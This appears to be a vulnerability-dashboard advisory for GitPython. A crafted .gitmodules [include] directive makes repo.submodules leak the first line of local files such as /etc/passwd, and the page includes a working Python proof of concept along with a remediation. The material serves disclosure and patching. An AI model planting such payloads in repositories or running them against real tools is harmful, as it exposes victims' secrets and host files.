Kestrel
대시보드로 돌아가기
CVE-2026-78675HIGH· 8.4MITRENVDGHSA대응게시일: 2026. 08. 25.수정일: 2026. 09. 08.

GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)

Path-Traversal

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
8.4high

이론적 심각도 점수

EPSS
0.1%상위 98.0%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한차기 업그레이드 시CISA SSVC 기준

별도 긴급 패치 불필요 — 정기 시스템 업그레이드 주기에 맞춰 조치

완전 장악· KEV 미등재 · 자동화 어려움 · 완전 장악 · 내부 한정

CVSS 벡터 · 메트릭

악용 경로
공격 벡터로컬
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.18.4HIGH
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

상세 설명

[HIGH] Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)

  • CWE: CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)
  • Affected component: git/objects/submodule/base.py, Submodule._config_parser() (~line 273) constructing SubmoduleConfigParser(fp_module, read_only=read_only); git/config.py, GitConfigParser.__init__ (merge_includes default), GitConfigParser.read()/_included_paths() (include-path resolution, ~lines 630-685), GitConfigParser._read() (~line 493-498, MissingSectionHeaderError)
  • Affected version: GitPython at HEAD (9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION 3.1.58)

Reachability

GitConfigParser.__init__ defaults merge_includes=True: any config file it parses has its [include] (and, when a repo= is supplied, [includeIf ...]) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit 41ecc6a4 ("Disable merge_includes in config writers"), which passes merge_includes=False when Repo.config_writer() builds its parser (git/repo/base.py).

That fix never touched Submodule._config_parser(). This method builds the parser used for every read of a repo's submodule configuration — repo.submodules, Submodule.iter_items(), Submodule.config() — via SubmoduleConfigParser(fp_module, read_only=read_only), passing neither merge_includes=False nor repo=. The True class default is therefore inherited unchanged, and fp_module here is .gitmodulesthe single most attacker-controlled config file in the entire codebase, since it ships verbatim as tracked content inside any cloned repository.

GitConfigParser.read()'s include-path resolution (~line 662-680) performs no containment check: osp.isabs(include_path) short-circuits the path join entirely for an absolute path, and a relative path is joined with osp.join(osp.dirname(file_path), include_path) / osp.normpath()'d with no check that the result stays under the repository. ~ is expanded via osp.expanduser. The only gate before opening is os.access(include_path, os.R_OK) — a readability check, not a path restriction.

Once opened, GitConfigParser._read() parses the target file as git-config INI. If the first non-blank/non-comment line is not a [section] header — true of virtually any non-gitconfig file (source code, /etc/passwd, .env files, credential files, logs, JSON/YAML) — it raises configparser.MissingSectionHeaderError(fpname, lineno, line). Python's stdlib formats this exception's str() as "File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line) — it embeds the verbatim content of that file's first line in the exception message. Submodule.iter_items() catches only (IOError, BadName), not configparser.Error, so this exception propagates straight out of the ordinary, read-only repo.submodules call.

Root cause

Parity gap between two config-parser construction sites for the exact same footgun: Repo.config_writer() was hardened against merge_includes in 2023 (41ecc6a4); Submodule._config_parser() — which parses .gitmodules, content that is always attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule write-mode config parser at git/objects/submodule/base.py for .git/modules/<name>/config — a different, locally-generated file — has correctly passed merge_includes=False since 2022, underscoring that the omission for .gitmodules reads looks like an oversight rather than a considered exception.)

Exploit path

  1. Attacker crafts a repository whose .gitmodules contains a legitimate-looking [submodule ...] section plus:
    text
    1[include]
    2 path = /etc/passwd
    (an absolute path bypasses any traversal reasoning entirely; a relative ../../../../etc/passwd-style path works too).
  2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules: list(repo.submodules) (or any for sm in repo.submodules) — no update(), init(), or checkout of any kind required.
  3. SubmoduleConfigParser (inheriting merge_includes=True) follows the [include] directive, opens /etc/passwd, and GitConfigParser._read() raises MissingSectionHeaderError whose message embeds /etc/passwd's first line verbatim.
  4. This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on repo.submodules — disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).

Impact

Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first MissingSectionHeaderError), but that line very often is the secret — .env files (DATABASE_URL=..., API_KEY=...), single-line credential/token files, /etc/passwd's root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly blind GHSA-cwvm-v4w8-q58c ("Blind local file inclusion", CVSS 4.0, git/refs/symbolic.py ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (git/config.py's include resolution).

Preconditions

  • Victim clones (or otherwise opens with GitPython) a repository whose .gitmodules is attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for).
  • Victim performs any operation that touches repo.submodules — one of the most ordinary GitPython operations, requiring no submodule update/init/checkout.
  • No authentication/role requirement inside GitPython itself.

Evidence

  • git/config.pyGitConfigParser.__init__ defaults merge_includes=True.
  • git/objects/submodule/base.py:273SubmoduleConfigParser(fp_module, read_only=read_only) passes neither merge_includes nor repo=; git blame shows this call unchanged since the class was introduced, and git show 41ecc6a4 confirms that commit touched only git/repo/base.py's Repo.config_writer(), never this call site.
  • git/config.py _included_paths()/read() (~630-685) — absolute include paths bypass the join/normpath entirely (osp.isabs() short-circuit); no repository-boundary containment check exists anywhere in this path.
  • git/config.py _read() (~493-498) — raises cp.MissingSectionHeaderError(fpname, lineno, line) with the raw file line embedded, matching Python stdlib configparser's own __str__ behavior.
  • Submodule.iter_items() catches only (IOError, BadName)configparser.Error (the base of MissingSectionHeaderError) is not swallowed.
  • PoC (gitpython-003-poc.py, embedded below) reproduces this end-to-end against this exact checkout via the public API only (Repo.clone_from + list(repo.submodules), default arguments, no monkeypatching), against both a throwaway secret file and /etc/passwd.

False-positive check (adversarial re-read)

  • Is this the same bug as GHSA-hmq2-w58f-27jc? No — that advisory is about the .gitmodules submodule name driving _module_abspath/os.makedirs() (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the [include] directive in the same file reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation).
  • Is this the same bug as GHSA-cwvm-v4w8-q58c (blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in git/refs/symbolic.py's ref-name resolution feeding Repo.commit/tree/index.diff — an entirely different module and code path. This finding discloses actual file content via git/config.py's include-directive resolution.
  • Is the impact overstated given only one line leaks? No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard clone_from + list(repo.submodules) workflow.
  • Could the exception simply be silently swallowed by GitPython before reaching the caller? No — confirmed by reading Submodule.iter_items()'s exception handling, which catches only IOError/BadName; configparser.MissingSectionHeaderError propagates uncaught.
  • Verdict: no concrete blocker found. CONFIRMED — reproduced independently against both a throwaway secret file and /etc/passwd.

Remediation

Pass merge_includes=False when constructing SubmoduleConfigParser in Submodule._config_parser() (git/objects/submodule/base.py), mirroring the existing fix in Repo.config_writer() (commit 41ecc6a4) — .gitmodules content is always attacker-controlled and should never be allowed to pull in include/includeIf directives. As defense in depth, GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.

Confidence

High. Root cause confirmed by direct code reading across both git/config.py and git/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and /etc/passwd).

Proof-of-Concept source (gitpython-003-poc.py)

python
1#!/usr/bin/env python3
2"""
3GITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped
4inside a cloned repository -- can contain `[include] path = <any local path>`.
5`Submodule._config_parser()` builds the parser used for `repo.submodules` (and
6other submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`
7without passing `merge_includes=False`, so the class default `merge_includes=True`
8is inherited. GitConfigParser then opens the target file; if it isn't valid
9git-config syntax (true of virtually any non-gitconfig file), Python's
10`configparser.MissingSectionHeaderError` embeds the file's first line verbatim
11in its exception message, which propagates out of the ordinary, read-only
12`repo.submodules` call -- a non-blind local file content disclosure primitive.
13
14Run:
15 PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-003-poc.py <workdir> <target-file>
16
17Benign: reads only the given <target-file> (defaults to a throwaway secret file
18created under <workdir> if omitted) and never writes/exfiltrates it anywhere
19except printing it locally to prove the primitive. No destructive action.
20"""
21import os
22import subprocess
23import sys
24
25
26def main():
27 workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-003-poc"
28 target_file = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, "secret.txt")
29
30 attacker_repo = os.path.join(workdir, "attacker-repo")
31 dest = os.path.join(workdir, "dest")
32 for p in (attacker_repo, dest):
33 os.makedirs(p, exist_ok=True)
34
35 if not os.path.exists(target_file):
36 os.makedirs(os.path.dirname(target_file), exist_ok=True)
37 with open(target_file, "w") as f:
38 f.write("TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\n")
39
40 subprocess.run(["git", "init", "-q", "-b", "main", attacker_repo], check=True)
41 subprocess.run(["git", "-C", attacker_repo, "config", "user.email", "a@example.com"], check=True)
42 subprocess.run(["git", "-C", attacker_repo, "config", "user.name", "Attacker"], check=True)
43
44 with open(os.path.join(attacker_repo, "file.txt"), "w") as f:
45 f.write("hello\n")
46
47 with open(os.path.join(attacker_repo, ".gitmodules"), "w") as f:
48 f.write(
49 '[submodule "totally-normal-dep"]\n'
50 "\tpath = vendor/dep\n"
51 "\turl = https://example.com/dep.git\n"
52 "[include]\n"
53 "\tpath = %s\n" % target_file
54 )
55
56 subprocess.run(["git", "-C", attacker_repo, "add", "file.txt", ".gitmodules"], check=True)
57 subprocess.run(["git", "-C", attacker_repo, "commit", "-q", "-m", "init"], check=True)
58
59 import git # gitpython under test
60 import configparser
61
62 repo = git.Repo.clone_from(attacker_repo, dest)
63
64 try:
65 subs = list(repo.submodules)
66 print("NOT VULNERABLE: no exception raised, submodules =", subs)
67 sys.exit(1)
68 except configparser.MissingSectionHeaderError as e:
69 msg = str(e)
70 print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:")
71 print(msg)
72 with open(target_file) as f:
73 first_line = f.readline().rstrip("\n")
74 if first_line in msg:
75 print("Confirmed: target file's first line is present verbatim in the exception message.")
76 sys.exit(0)
77 else:
78 print("NOT VULNERABLE: exception message did not contain the expected content")
79 sys.exit(1)
80
81
82if __name__ == "__main__":
83 main()

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.